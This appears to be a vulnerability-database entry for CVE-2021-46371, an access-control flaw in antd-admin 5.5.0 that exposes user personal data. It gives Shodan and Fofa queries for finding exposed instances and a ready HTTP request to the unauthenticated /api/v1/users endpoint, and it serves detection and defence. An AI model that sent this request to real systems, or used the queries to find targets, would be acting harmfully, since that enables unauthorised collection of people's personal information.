🔙 목록으로 돌아가기

CVE-2021-46371: AntD Admin - Sensitive Information Disclosure

TitleAntD Admin - Sensitive Information Disclosure
Authorritikchaddha
SeverityHigh
ImpactUnauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.
RemediationUpdate to the latest version of antd-admin that addresses access control issues.
CVSS Score7.5
EPSS Score0.26129
CVE IDCVE-2021-46371
CWE IDCWE-306
Shodan Queryhtml:"/umi.js" html:"@@/devScripts.js"
Fofa Querybody="/@@/devScripts.js" && body="//! umi version:" && body="/umi.js"
Tags cve cve2021 antdadmin disclosure

🔍 Vulnerability Description

AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.

🌐 HTTP Request

GET /api/v1/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46371.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46371.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A